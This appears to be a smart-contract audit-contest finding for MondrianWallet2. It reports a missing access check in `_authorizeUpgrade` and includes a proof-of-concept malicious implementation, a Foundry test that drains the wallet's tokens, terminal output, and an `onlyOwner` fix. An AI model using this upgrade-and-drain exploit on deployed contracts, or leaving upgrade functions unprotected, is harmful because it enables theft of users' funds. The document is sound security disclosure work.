Submission Details
Severity:
Lack of access control in `authorizeUpgrade` leads to funds takeover, as implementation logic can be upgraded by him/her
Summary
MondrianWallet2 is using UUPS proxy for upgradability in near future, however lack of access control makes in useless. As anybody can upgrade the contract implementation to drain funds, by modifying the logic or adding new functions.
Vulnerability Details
Relevant link - https://github.com/Cyfrin/2024-07-Mondrian-Wallet_v2/blob/main/src/MondrianWallet2.sol#L167
function _authorizeUpgrade(address newImplementation) internal override {}
If you notice the above function, it does not have access control, which is necessary to protect upgrading to random implementation by anybody. As a result, anybody can call upgradeToAndCall and change the implementation logic to change the logic or add new function to take over the wallet.
POC
In src, create new file Attack.sol
Keeping other code same as previous implementation we'll add two functions only.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
//// Existing Imports from prev version
+ import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+ import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {OwnableUpgradeable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import {UUPSUpgradeable} from "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
- /**
- * @title MondrianWallet2
- * @notice Its upgradable! So there shouldn't be any issues because we can just upgrade!... right?
- */
- contract MondrianWallet2 is IAccount, Initializable, OwnableUpgradeable, UUPSUpgradeable {
+ /**
+ * @title MondrianWallet2Update
+ * @notice Its upgraded! So we should be able to take funds, right?
+ */
+contract Attack is IAccount, Initializable, OwnableUpgradeable, UUPSUpgradeable {
using MemoryTransactionHelper for Transaction;
error MondrianWallet2__NotEnoughBalance();
error MondrianWallet2__NotFromBootLoader();
error MondrianWallet2__ExecutionFailed();
error MondrianWallet2__NotFromBootLoaderOrOwner();
error MondrianWallet2__FailedToPay();
error MondrianWallet2__InvalidSignature();
/*//////////////////////////////////////////////////////////////
MODIFIERS
//////////////////////////////////////////////////////////////*/
modifier requireFromBootLoader() {
if (msg.sender != BOOTLOADER_FORMAL_ADDRESS) {
revert MondrianWallet2__NotFromBootLoader();
}
_;
}
modifier requireFromBootLoaderOrOwner() {
if (msg.sender != BOOTLOADER_FORMAL_ADDRESS && msg.sender != owner()) {
revert MondrianWallet2__NotFromBootLoaderOrOwner();
}
_;
}
function initialize() public initializer {
__Ownable_init(msg.sender);
__UUPSUpgradeable_init();
}
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
_disableInitializers();
}
+ /// CLAIM ANY ERC20, CALLABLE BY ATTACKER
+ function claimERC20(address token, uint256 value) external {
+ if(msg.sender == address(0x123)){
+ SafeERC20.safeTransfer(IERC20(token), address(0x123), value);
+ }
+ }
/// Existing codebase
}
In existing test suite we following imports, test
pragma solidity 0.8.24;
import {Test, console2} from "forge-std/Test.sol";
import {MondrianWallet2} from "src/MondrianWallet2.sol";
+ import {Attack} from "src/Attack.sol";
// Era Imports
import {
Transaction,
MemoryTransactionHelper
} from "lib/foundry-era-contracts/src/system-contracts/contracts/libraries/MemoryTransactionHelper.sol";
import {BOOTLOADER_FORMAL_ADDRESS} from "lib/foundry-era-contracts/src/system-contracts/contracts/Constants.sol";
import {ACCOUNT_VALIDATION_SUCCESS_MAGIC} from
"lib/foundry-era-contracts/src/system-contracts/contracts/interfaces/IAccount.sol";
// OZ Imports
import {MessageHashUtils} from "@openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
// Foundry Devops
import {ZkSyncChainChecker} from "lib/foundry-devops/src/ZkSyncChainChecker.sol";
interface _CheatCodes {
function ffi(string[] calldata) external returns (bytes memory);
}
contract MondrianWallet2Test is Test, ZkSyncChainChecker {
using MessageHashUtils for bytes32;
MondrianWallet2 implementation;
MondrianWallet2 mondrianWallet;
+ Attack maliciousImplementation;
+ address attacker = address(0x123);
ERC20Mock usdc;
bytes4 constant EIP1271_SUCCESS_RETURN_VALUE = 0x1626ba7e;
_CheatCodes cheatCodes = _CheatCodes(VM_ADDRESS);
uint256 constant AMOUNT = 1e18;
bytes32 constant EMPTY_BYTES32 = bytes32(0);
address constant ANVIL_DEFAULT_ACCOUNT = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266;
function setUp() public {
implementation = new MondrianWallet2();
maliciousImplementation = new Attack();
ERC1967Proxy proxy = new ERC1967Proxy(address(implementation), "");
mondrianWallet = MondrianWallet2(address(proxy));
mondrianWallet.initialize();
mondrianWallet.transferOwnership(ANVIL_DEFAULT_ACCOUNT);
usdc = new ERC20Mock();
+ usdc.mint(address(mondrianWallet), AMOUNT);
- vm.deal(address(mondrianWallet), AMOUNT);
}
+ function testUpgradeToMaliciousAndClaimUSD() public {
+ vm.startPrank(attacker);
+ address wallet = address(mondrianWallet);
+ mondrianWallet.upgradeToAndCall(address(maliciousImplementation), "");
+ console2.log("success");
+ /// to see if attacker can claim usdc or not
+ /// let's try to claim usdc that it has
+ console2.log("----------------------------------------------------");
+ console2.log("-----------------CLAIM_ERC20------------------------");
+ console2.log("----------------------------------------------------");
+ console2.log("usdc balance of attacker before attack:", usdc.balanceOf(attacker));
+ console2.log("usdc balance of mondrian wallet before attack:", usdc.balanceOf(wallet));
+ Attack(wallet).claimERC20(address(usdc), 1e18);
+ console2.log("usdc balance of attacker after attack:", usdc.balanceOf(attacker));
+ console2.log("usdc balance of mondrian wallet after attack:", usdc.balanceOf(wallet));
}
now run forge test --mt testUpgradeToMaliciousAndClaimUSD -vv --zksync and we get following output from the terminal.
[⠒] Compiling...
[⠒] Compiling (zksync)...
[⠆] Solc 0.8.24 finished in 13.57s
Ran 1 test for test/ModrianWallet2Test.t.sol:MondrianWallet2Test
[PASS] testUpgradeToMaliciousAndClaimUSD() (gas: 112776)
Logs:
success
----------------------------------------------------
-----------------CLAIM_ERC20------------------------
----------------------------------------------------
usdc balance of attacker before attack: 0
usdc balance of mondrian wallet before attack: 1000000000000000000
usdc balance of attacker after attack: 1000000000000000000
usdc balance of mondrian wallet after attack: 0
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.19ms (280.38µs CPU time)
Ran 1 test suite in 29.34ms (1.19ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
Loss of funds
Tools Used
Manual Review, Foundry
Recommendations
add onlyOwner modifier to fix the issue as show below.
- function _authorizeUpgrade(address newImplementation) internal override {}
+ function _authorizeUpgrade(address newImplementation) internal override onlyOwner {}
When we make above changes to MondrianWallet2.sol, and run forge test --mt testUpgradeToMaliciousAndClaimUSD -vv again, it gives us following output in terminal -
[⠒] Compiling...
[⠑] Compiling 3 files with 0.8.24
[⠢] Solc 0.8.24 finished in 14.52s
Compiler run successful!
[⠆] Compiling (zksync)...
Compiler run successful!...
Ran 1 test for test/ModrianWallet2Test.t.sol:MondrianWallet2Test
[FAIL. Reason: OwnableUnauthorizedAccount(0x0000000000000000000000000000000000000123)] testUpgradeToMaliciousAndClaimUSD() (gas: 20574)
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 1.31ms (254.63µs CPU time)
Ran 1 test suite in 26.54ms (1.31ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
Which verify the fix is working correctly.
Updates
Lead Judging Commences
bube about 1 year ago
Submission Judgement Published Assigned finding tags:
Lack of access control in _authorizeUpgrade
Rewards breakdown
nSLOC
105This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.